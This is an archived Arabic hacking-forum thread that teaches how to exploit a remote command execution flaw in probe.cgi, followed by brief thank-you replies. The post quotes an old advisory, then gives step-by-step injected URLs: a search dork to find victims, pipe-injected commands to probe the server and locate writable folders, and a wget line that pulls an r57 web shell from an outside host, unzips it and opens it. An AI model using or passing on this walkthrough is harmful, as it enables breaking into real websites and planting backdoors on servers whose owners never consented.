:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات (http://www.vbspiders.com/vb/f38.html)
-   -   فن التعامل مع ثغرات Remote command exucetion (http://www.vbspiders.com/vb/t718.html)

Super CristaL 03-10-2008 03:37 PM

فن التعامل مع ثغرات Remote command exucetion
 
السلام عليكم ورحمة الله

راح نشرح عمل نوع من الثغرات وهي ما تسمى

(( Remote command exucetion ))

وهي تسمح لك برفع شل او باكدور ,,,,,,الخ

اول حاجه لازم يكون عندك شل مرفوع بموقعك او احد المواقع,,,

طيب خلينا نجيب ثغره ونطبق عنونها كذا

Probe.cgi Remote Command Execution

يعني بملف Probe.cgi فيه ثغره رموت كومند حلو ...طيب خلونا نشوف الاكسبلويت

---------------------------------------------------------
Authors ....... spher3 (spher3 at fatalimpulse dot net)
Date .......... 04-07-2005
Product
....... probe.cgi
Type
.......... Remote Command Execution

o Info
:
================
That '''''''''''' is used to open file '.dat'.

o Vulnerable Code:
================
..
23 [...]
24 $old = $query->param('olddat');
25 [...]
..
..
34 [...]
35 open (VF, "$olddat");
36 [...]
..

(
24) At this line, the cgi param 'olddat' is associated to one database.
This variable isnt checked by anyone matching, so you can open
all file that you want
. (35) At this line the '''''''''''' open the file
that you had chosen
. With pipe `|`
is possible to execute arbitrary code on the ''''''''l.


o Proof of concept:
================

http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|
uid=99(www) gid=99(www)
--------------------------------------------------------------
لو تقراء باعلى موضح لك الملف ونوع الثغره,,,,,طيب احنا عوزين الاستثمار

استثمارها هنا بالسطر

كود:
http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|
the-vuln.site.org.<<===الموقع المستهدف وهو افتراضي

cgi-bin<<===مجلد السيقيبين

probe.cgi<<===الملف المصاب

olddat<<===مكان الاصابه داخل الملف ومو شرط نفس الاسم ممكن يتغير
===============

طيب نبغى نعرف كيف عملها اوكي

اول تسوي بحث بالطريقه هذي

allinurl:probe.cgi

او اي طريقة تحب

لنفرض اننا حصل موقع

WWW.???.com/cgi.bin/probe.cgi?grid=ThaiGrid

كويس اول حاجه نضع

كود:
|id|
بيطلع بالشكل

كود:
WWW.???.com/cgi.bin/probe.cgi?grid=|id|

واعطيه انتر بيظهر لك مثلا كذا

كود:
uid=99(www) gid=99(www)
هذا صفتك بالسيرفر

طيب نبغى ننعرفع ممكاننا وين ضع مكان الاي دي

كود:
pwd
كود:
WWW.???.com/cgi.bin/probe.cgi?grid=|pwd|
بيطلع معك مثلا

كود:
/home/.???/cgi.bin

طيب نبغى نشوف مسموح لينا نرفع ملف والا لا؟

ضع مكان الاي دي

كود:
which wget
بالشكل,,,,,,,,,

كود:
WWW.???.com/cgi.bin/probe.cgi?grid=|which wget|
اذا ضهر لك كدا

كود:
/؟؟؟/؟؟؟/wget
وعلامة الاستفاهم متغير يعني اهم شي ويقت تظهر فاعرف انك الوضع زي الفل

يعني مسموح لك ترفع ملف انبسط ياعم

طيب نبغى نعرف التصاريح للمجلدات والملفات عشان نشوف وين المسوح لينا بالرفع

لو ترجع احنا قلنا مكاننا وين هنا

كود:
/home/.???/cgi.bin
طيب احنا نبغى نخرج من مجلد cgi.bin للديكويتري الرئيسي حلو

نضع مكان الاي دي
كود:
cd /home/.???/;pwd
يعني بيكون بالشكل

كود:
WWW.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/;pwd|
الان بيرجعنا الى

كود:
home/.???/
حلو الان نبغى نشوف المجلدات والمفات و التصريحات بالامر

كود:
;ls%20-al
بيطلع كذا,,,,,

كود:
WWW.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/;ls%20-al|
بتظهر لك ملفات ومجلدات الموقع واما مهم تصريحاتهم

انت ابحث عن الملجلد اللي له التصريح

كود:
drwxrwxrwx
لنفرض انك حصلت امام مجلد الصور او uploads

اولا لازم نخش عليه تعمل

كود:
home/.???/uploads/;pwd
كود:
WWW.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/uploads/;pwd|
حلو بيكون وضعك بالشكل

كود:
home/.???/uploads/
يعني داخل مجلد uploads

الان كل معليك رفع الشل طبعا لك شل مرفوع باحد المواقع يعني رابط شيلك

كود:
www.XXX.com/r57''''''''l.zip
وتبغى ترفعه على الموقع المخترقه بالشكل,,,,

كود:
WWW.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/uploads/wget www.XXX.com/r57''''''''l.zip*|
واعطيه انتر بيظهر لك

كود:
r57''''''''l.zip
طيب نبغى نفك الضغط عنه بالامر unzip

كود:
WWW.???.com/cgi.bin/probe.cgi?grid=|cd /home/.???/uploads/unzip r57''''''''l.zip*|
وديلو انتر بيطلع معك

كود:
r57''''''''l.php
والف مبروك خش وافتحه بالمتصفح وتمتع وبيكون الرابط

WWW.???.com/uploads/r57''''''''l.php

عموما ياجماعه الموضع كله انك تعرف كيف تتحرك وترفع ,,, وراح تكون الثغرات اسهل منها ما فيه

والى اللقاء

أخوكم super cristal






Crazy Dz 03-10-2008 08:54 PM

شكرا علي المعلومات

IzRi-InO 03-10-2008 10:52 PM

مشكور على ثغرة و شرح الجميل الى الامام اخي

قاهر كل من تحداه 03-12-2008 04:14 PM

مشكووووووووووووووووووووووور حبيبي

قاهر كل من تحداه 03-12-2008 04:14 PM

ان شاء الله نستفيد من معلوماتك القيمة وتقبل مروري
تحياتي

SkRtaR 05-28-2008 08:38 PM

100%

100%

تحياتي

phantom101010 06-30-2008 10:21 PM

لووللووللووللووللووللوول

WoLF 305 07-04-2008 01:37 PM

يعطيك الف عافية

Dr.BiLLi-HaCkEr 11-11-2009 06:00 PM

مشكور على المعلومة القيمة

MrXRoMaNcE1 11-11-2009 08:03 PM

يعطيك العافية بانتظار جديدك


الساعة الآن 07:31 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0